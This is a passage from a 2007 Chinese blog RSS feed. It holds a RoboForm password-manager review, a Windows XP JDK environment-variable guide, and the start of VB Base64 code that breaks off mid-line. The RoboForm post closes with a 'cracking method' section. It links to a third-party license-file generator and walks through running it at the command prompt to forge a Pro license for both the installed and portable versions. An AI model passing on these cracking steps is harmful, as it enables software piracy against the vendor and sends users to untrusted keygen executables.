假如你是个泡网高手，你在网上的多个BBS论坛灌水，但是你每到一个新的论坛都总需要重新填写一遍自己的个人信息：姓名、性别、年龄、地区、职业、电话、要在论坛注册的ID和密码、有时候甚至需要身份证号码等等。这种注册一遍都是无所谓，可是总是要注册，会很烦，而且也会浪费时间。如果你有了 AI RoboForm 你只需要在软件安装完之后，填写类似的信息一次。接下来，在各个论坛BBS注册的事情大部分都可以交给它来完成，你只需要修改一小部分没有匹配的信息即可。可以实现“一键注册”。这就是它的好处之一。 &lt;br&gt;&lt;br&gt;『例子二』 &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 假如你有10个Email信箱（sina，sohu，163，etang，gmail，yahoo，netease，chinaren等等）这么多帐号和密码，要记忆起来非常不易，除非你用的都是同一个用户名和密码，但是这是很难做到的（非常怪异的用户名除外）这么做同时也是非常不科学和安全的。用了 AI RoboForm 之后，你只要登录各个邮箱的 Web mail 登录页面，在状态栏上就会自动出现给你用户名和密码（当然首先你要有使用该 RoboForm 帐号的权限，即首先要解开 RoboForm 的密码），你所要做的就是记住 RoboForm 的安全密码，或是你将装有 Portable RoboForm 的 USB 设备带在身边。非常方便和安全,不是吗？ &lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;下面是两个主要版本的区别： &lt;br&gt;比较免费和Pro版本.&amp;nbsp;&amp;nbsp;&lt;br&gt;————————————————————————————————————— &lt;br&gt;功能&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 免费的头30天使用&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 30天结束后&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Pro&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 版本&amp;nbsp;&amp;nbsp;&lt;br&gt;————————————————————————————————————— &lt;br&gt;商业/政府使用&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 允许&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 禁止&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 允许&amp;nbsp;&amp;nbsp;&lt;br&gt;密码卡片&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 无限&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 限制到 10&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 无限&amp;nbsp;&amp;nbsp;&lt;br&gt;身份信息&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 无限&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 限制到 2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 无限&amp;nbsp;&amp;nbsp;&lt;br&gt;身份信息中的标签项目&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 限制到 3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 限制到 3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 无限&amp;nbsp;&amp;nbsp;&lt;br&gt;身份信息中的自定义字段&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 限制到 3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 限制到 3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 无限&amp;nbsp;&amp;nbsp;&lt;br&gt;支持&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 限联机支持&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 限联机支持&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 电话及联机支持&amp;nbsp;&amp;nbsp;&lt;br&gt;—————————————————————————————————————&lt;/p&gt;        &lt;p&gt; &lt;/p&gt;        &lt;p&gt;【 ３ 】适用平台,需求支持 &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ( 1 ) 操作系统平台支持 &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8226; Windows 系列 &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8226; Palm OS &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8226; Pocket PC &lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ( 2 ) 支持的浏览器 &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8226; Internet Explorer 5.0, 5.5 及 6.0 &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8226; Netscape 7, Mozilla 1+ 和 Firefox 0.7+ &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8226; Avant Browser&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8226; MaxThon（傲游）&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8226; NetCaptor&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8226; Slim Browser&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 等等很多。&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ( 3 ) 尚未支持的浏览器 &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8226; Compuserve 7 &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Compuserve 7 使用了 Gecko 引擎, 也就是 Netscape 7 使用的引擎,&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 因此从理论上来说 RoboForm 可以在其中工作. 但是, 当前 RoboForm 还不 &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 能在 CS7 中工作. RoboForm 可以在 Compuserve 6 及早期版本中工作.&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8226; Netscape 4 &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; RoboForm 无法工作在 Netscape 4.xx; 同样它也不能工作在 Netscape &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3.xx 和 2.xx. 这些浏览器不能被支持, 因为它们缺乏 Roboform 执行操作 &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 所需的 API 接口. &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8226; Opera &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; RoboForm 不支持 Opera 浏览器. 最近也没有集成到 Opera 的计划.&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8226; Macintosh 浏览器 &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; RoboForm 目前无法工作在 Apple Macintosh 上.&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8226; MSN TV (WebTV) 浏览器 &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; RoboForm 不支持 WebTV. WebTV 是机顶盒设备, 因此只有它的生产 &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 商才能修改其中的程序.&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;br&gt;&lt;br&gt;【 ４ 】下载地址及破解 &lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; RoboForm 6.1.8 安装程序 下载地址： &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a target="_blank" href="http://www.roboform.com/dist/affs/AiRoboForm-cn8cn.exe"&gt;&lt;font color="#261cdc"&gt;http://www.roboform.com/dist/affs/AiRoboForm-cn8cn.exe&lt;/font&gt;&lt;/a&gt; &lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 破解方法在文章最底下&lt;/p&gt;&lt;/td&gt;    &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;img border="0" src="http://www.roboform.com/images/UpperToolbar-6.gif"&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;屏幕截图1&lt;/p&gt;&lt;p&gt;&lt;img border="0" src="http://www.roboform.com/images/MatchingPasscards-6.gif"&gt;&lt;/p&gt;&lt;p&gt;屏幕截图2&lt;/p&gt;&lt;p&gt;&lt;img border="0" src="http://www.roboform.com/images/LoginMenu-6.gif"&gt;&lt;/p&gt;&lt;p&gt;&lt;table width="72%" bgcolor="#ffffff" border="0"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td align="left" width="97%"&gt;&lt;table cellspacing="0" cellpadding="0" border="0" class="wr"&gt;        &lt;tbody&gt;            &lt;tr&gt;                &lt;td class="gray14"&gt;RoboForm 填表(自动填充)对话框 &lt;/td&gt;            &lt;/tr&gt;        &lt;/tbody&gt;    &lt;/table&gt;    &lt;div forimg="1" align="left"&gt;&lt;img class="blogimg" border="0" small="0" src="http://www.roboform.com/images/FillFormsDlg-6.gif"&gt;&lt;/div&gt;    &lt;div forimg="1" align="left"&gt;&lt;/div&gt;    &lt;div forimg="1" align="left"&gt;&lt;/div&gt;    &lt;div forimg="1" align="left"&gt;保存表单(自动保存)对话框&lt;/div&gt;    &lt;div forimg="1" align="left"&gt;&lt;img border="0" src="http://www.roboform.com/images/SaveFormsFlat-6.gif"&gt;&lt;/div&gt;    &lt;div forimg="1" align="left"&gt;&lt;/div&gt;    &lt;div forimg="1" align="left"&gt;搜索框&lt;/div&gt;    &lt;div forimg="1" align="left"&gt;&lt;img border="0" src="http://www.roboform.com/images/SearchBox-6.gif"&gt;&lt;/div&gt;    &lt;div forimg="1" align="left"&gt;&lt;/div&gt;    &lt;div forimg="1" align="left"&gt;RoboForm 密码卡片编辑器&lt;/div&gt;    &lt;div forimg="1" align="left"&gt;&lt;img border="0" src="http://www.roboform.com/images/PasscardEditor-6.gif"&gt;&lt;/div&gt;    &lt;div forimg="1" align="left"&gt;&lt;/div&gt;    &lt;div forimg="1" align="left"&gt;安全标注编辑器&lt;/div&gt;    &lt;div forimg="1" align="left"&gt;&lt;img border="0" src="http://www.roboform.com/images/SafenoteEditor-6.gif"&gt;&lt;/div&gt;    &lt;div forimg="1" align="left"&gt;&lt;/div&gt;    &lt;div forimg="1" align="left"&gt;AI RoboForm 身份信息编辑器&lt;/div&gt;    &lt;div forimg="1" align="left"&gt;&lt;img border="0" src="http://www.roboform.com/images/IdentityEditor-6.gif"&gt;&lt;/div&gt;    &lt;div forimg="1" align="left"&gt;&lt;/div&gt;    &lt;div forimg="1" align="left"&gt;密码卡片列表打印对话框&lt;/div&gt;    &lt;div forimg="1" align="left"&gt;&lt;img border="0" src="http://www.roboform.com/images/PrintListPasscards-6.gif"&gt;&lt;/div&gt;    &lt;div forimg="1" align="left"&gt;&lt;/div&gt;    &lt;div forimg="1" align="left"&gt;&lt;table cellspacing="0" cellpadding="0" border="0" class="wr"&gt;    &lt;tbody&gt;        &lt;tr&gt;            &lt;td class="gray14"&gt;&lt;cc&gt;&lt;/cc&gt;AI RoboForm 设置主密码对话框&lt;/td&gt;        &lt;/tr&gt;    &lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;img border="0" src="http://www.roboform.com/images/OptionsGeneral-6.gif"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;自定义 IE 关联菜单和标准工具栏对话框&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;img border="0" src="http://www.roboform.com/images/CustomizeMenu-6.gif"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;AI RoboForm 密码生成器 &lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;img border="0" src="http://www.roboform.com/images/PasswordGenerator-6.gif"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;自定义字段&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;img border="0" src="http://www.roboform.com/images/CustomFields-6.gif"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;    &lt;td height="17"&gt;&lt;p&gt; &lt;/p&gt;    &lt;p&gt;以下是破解方法：&lt;/p&gt;    &lt;p&gt;没有能力购买正版的朋友可以利用以下程序创建许可文件（适用于所有版本），即变为专业版，可以无限制使用。&lt;/p&gt;    &lt;p&gt;&lt;font color="#0000ff" size="4"&gt;&lt;a target="_blank" href="http://www.lnxz.com/download.asp?id=6742&amp;amp;dp=1&amp;amp;fid=1"&gt;AI ROBOFORM 通用授权文件生成器&lt;/a&gt;下载&lt;/font&gt;&lt;/p&gt;    &lt;p&gt;通用授权文件生成器（rf60lic）的使用方法∶&lt;/p&gt;    &lt;p&gt;请将通用授权文件生成器下载解压。rf60lic需要在命令提示符下运行（如果你不熟悉命令提示符，请将rf6xxlg文件夹里面的rf60lic复制到D盘，然后在“开始”--&amp;gt;“运行”中输入cmd，之后在弹出的窗口中输入D:），输入rf60lic回车，此时显示∶&lt;/p&gt;    &lt;p align="left"&gt;&lt;strong&gt;&lt;font size="1"&gt;*** RoboForm 6.0.x license file generator *** hi, ru-board! (15.10.2004) ***&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;    &lt;p align="left"&gt;&lt;font size="1"&gt;&lt;strong&gt;Current license file saved: "F:\My RoboForm Data\Default Profile\license.rfo.bak&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/strong&gt;&lt;/font&gt;&lt;font size="2"&gt;此路径是我电脑上的，你的可能不一样&lt;/font&gt;&lt;/p&gt;    &lt;p align="left"&gt;&lt;font size="1"&gt;&lt;strong&gt;New license file created: "F:\My RoboForm Data\Default Profile\license.rfo"&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/strong&gt;&lt;/font&gt;&lt;font size="2"&gt;此路径是我电脑上的，你的可能不一样&lt;/font&gt;&lt;/p&gt;    &lt;p align="left"&gt;&lt;strong&gt;&lt;font size="1"&gt;press Enter to continue...&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;    &lt;p align="left"&gt;按回车，单机版即注册成功，显示为“专业版”（如图）&lt;/p&gt;    &lt;div forimg="1"&gt;&lt;a target="_blank" href="http://hiphotos.baidu.com/airoboform/pic/item/6d734fb5348bf7ce36d3cacf.jpg"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/airoboform/pic/item/6d734fb5348bf7ce36d3cacf.jpg"&gt;&lt;/a&gt;&lt;/div&gt;    &lt;p&gt;&lt;font size="3"&gt;单机版安装并注册成功之后再安装便携版，便携版既是专业版的了。(如果显示仍是免费版，请在命令提示符下输入“rf60lic d:”，然后将D盘下生成的“license.rfo”复制到U盘的“My RoboForm Data\Default Profile\”目录下覆盖原文件，即变为专业版。另外，这时可能显示“已使用13459天”，这个其实无所谓，如果你实在很想让这个天数显示的小些的话，再次安装便携版但不要复制本机用户数据即可。）&lt;/font&gt;&lt;/p&gt;&lt;/td&gt;    &lt;td class="p14"&gt;&lt;br&gt;    &lt;div forimg="1" align="left"&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=49</guid><pubDate>Tue, 08 May 2007 09:12:00 GMT</pubDate></item><item><title>[JAVA]XP下JDK环境变量的设置</title><link>http://www.chendw.cn:8080/view.aspx?id=48</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; JDK环境变量的设置对学多学习java的初学者来说，是一个很麻烦的事情，下面我们就来介绍一下在XP下JDK的环境变量是怎样设置的。&lt;/p&gt;&lt;h5&gt;第一步:右击“我的电脑”，点击“属性”：&lt;/h5&gt;&lt;p align="center"&gt;&lt;img height="382" width="400" border="0" src="file:///D:/软件配置/JDK配置/XP下JDK环境变量的设置.files/20051124200713722.jpg"&gt;&lt;/p&gt;&lt;h5 align="left"&gt;第二步：选择“高级”选项卡，点击“环境变量”：&lt;/h5&gt;&lt;h5 align="center"&gt;&lt;img height="499" width="400" border="0" src="file:///D:/软件配置/JDK配置/XP下JDK环境变量的设置.files/20051124200846615.jpg"&gt;&lt;/h5&gt;&lt;h5 align="left"&gt;第三步：在“系统变量”中，设置3项属性，JAVA_HOME,PATH,CLASSPATH(大小写无所谓),若已存在则点击“编辑”，不存在则点击“新建”：&lt;/h5&gt;&lt;p align="center"&gt;&lt;img height="430" width="400" border="0" src="file:///D:/软件配置/JDK配置/XP下JDK环境变量的设置.files/20051124201003523.jpg"&gt;&lt;/p&gt;&lt;h5 align="left"&gt;第四步：JAVA_HOME指明JDK安装路径，就是刚才安装时所选择的路径D:\jdk1.4，此路径下包括lib，bin，jre等文件夹（此变量最好设置，因为以后运行tomcat，eclipse等都需要依靠此变量）；&lt;/h5&gt;&lt;h5 align="left"&gt;Path使得系统可以在任何路径下识别java命令，设为：&lt;/h5&gt;&lt;h5 align="center"&gt;%JAVA_HOME%\bin;%JAVA_HOME%\jre\bin &lt;/h5&gt;&lt;h5 align="left"&gt;CLASSPATH为java加载类(class or lib)路径，只有类在classpath中，java命令才能识别，设为：&lt;/h5&gt;&lt;h5 align="center"&gt;.;%JAVA_HOME%\lib;%JAVA_HOME%\lib\tools.jar (要加.表示当前路径) &lt;/h5&gt;&lt;h5 align="center"&gt;　　%JAVA_HOME%就是引用前面指定的JAVA_HOME。&lt;/h5&gt;&lt;p align="center"&gt;&lt;img height="142" width="347" border="0" src="file:///D:/软件配置/JDK配置/XP下JDK环境变量的设置.files/20051124201241251.jpg"&gt;&lt;/p&gt;&lt;p align="center"&gt;&lt;img height="141" width="348" border="0" src="file:///D:/软件配置/JDK配置/XP下JDK环境变量的设置.files/20051124201344474.jpg"&gt;&lt;/p&gt;&lt;p align="center"&gt;&lt;img height="140" width="346" border="0" src="file:///D:/软件配置/JDK配置/XP下JDK环境变量的设置.files/20051124201415696.jpg"&gt;&lt;/p&gt;&lt;h5 align="left"&gt;第五步：“开始”－&amp;gt;“运行”，键入“cmd”：&lt;/h5&gt;&lt;h5 align="left"&gt;第六步：键入命令“java -version”，出现下图画面，说明环境变量配置成功：&lt;/h5&gt;&lt;h5 align="left"&gt;第七步：好了，打完收工。下面开始你的第一个java程序吧。&lt;/h5&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=48</guid><pubDate>Sat, 05 May 2007 14:26:00 GMT</pubDate></item><item><title>[VB]Base64加解密编码函数[作者：iceboy]</title><link>http://www.chendw.cn:8080/view.aspx?id=47</link><description>&lt;div id="blog_text" class="cnt"&gt;Dim Base64EncodeIndex(63) As Byte&lt;br&gt;Dim Base64DecodeIndex(255) As Byte&lt;br&gt;&lt;br&gt;' Base64 编码函数&lt;br&gt;' Modified by iceboy&lt;br&gt;Private Function Base64Encode(bytInput() As Byte) As String&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim i As Long, u As Long&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim strRslt As String&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; On Error GoTo HasError&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; u = 